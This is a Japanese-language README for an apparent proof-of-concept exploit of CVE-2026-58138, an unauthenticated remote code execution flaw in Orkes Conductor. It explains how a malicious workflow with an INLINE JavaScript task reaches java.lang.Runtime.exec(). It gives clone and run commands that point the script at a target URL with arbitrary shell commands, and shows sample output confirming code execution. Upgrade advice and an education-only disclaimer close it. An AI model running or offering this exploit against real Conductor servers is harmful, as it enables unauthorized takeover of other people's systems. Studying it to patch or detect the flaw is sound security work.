CVE-2026-58138 — Conductor (3.21.21..<3.30.2) 未認証リモートコード実行

Orkes Conductor における重大なリモートコード実行の脆弱性

---

📋 概要

CVE-2026-58138 は、Orkes Conductor バージョン 3.21.21 から 3.30.1 に影響を与える、重大な未認証リモートコード実行（RCE）脆弱性です。この脆弱性により、攻撃者は認証を必要とせずに Conductor サーバー上で任意のコマンドを実行でき、システム全体が危険にさらされる可能性があります。

🔴 深刻度

• CVSS スコア: 9.8 (重大)
• 攻撃ベクトル: ネットワーク
• 認証: 不要
• 影響: システム全体の侵害

---

⚙️ 脆弱性の詳細

この脆弱性は、Orkes Conductor のワークフローエンジンにおける INLINE タスク タイプに存在します。INLINE タスクは、eval を介して Java オブジェクトにアクセスする JavaScript の評価をサポートしており、攻撃者は以下のことが可能です。

1. JavaScript コードを含む INLINE タスクを持つ悪意のあるワークフローを登録する
2. JavaScript の Java 相互運用機能を通じて任意の Java コードを実行する
3. java.lang.Runtime.exec() を介して Conductor サーバー上でシステムコマンドを実行する

---

📦 影響を受けるバージョン

バージョン範囲	ステータス
3.21.21 - 3.30.1	✅ 脆弱
> 3.30.1	❌ 修正済み

---

🚀 インストール

# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138

# Make the script executable
chmod +x CVE-2026-58138.py

# Verify installation
python3 CVE-2026-58138.py --help

---

💻 使用方法

# Basic usage
python3 CVE-2026-58138.py http://target:8080

# Custom command
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"

---

📊 出力例

[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC

[*] target  = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12

---

🛡️ 緩和策

1. Orkes Conductor 3.30.2 以降にアップグレードする
2. 必要なければ INLINE タスクタイプを無効化する
3. Conductor API へのネットワークアクセスを制限する

---

⚠️ 免責事項

教育およびセキュリティ研究目的のみに使用してください。 自分が所有するシステム、または明示的なテスト許可があるシステムでのみ使用してください。

---

📚 参考文献

• NVD - CVE-2026-58138
• Orkes Conductor Security

---

⭐ これが役に立ちましたか？ GitHub でスターを付けてください ⭐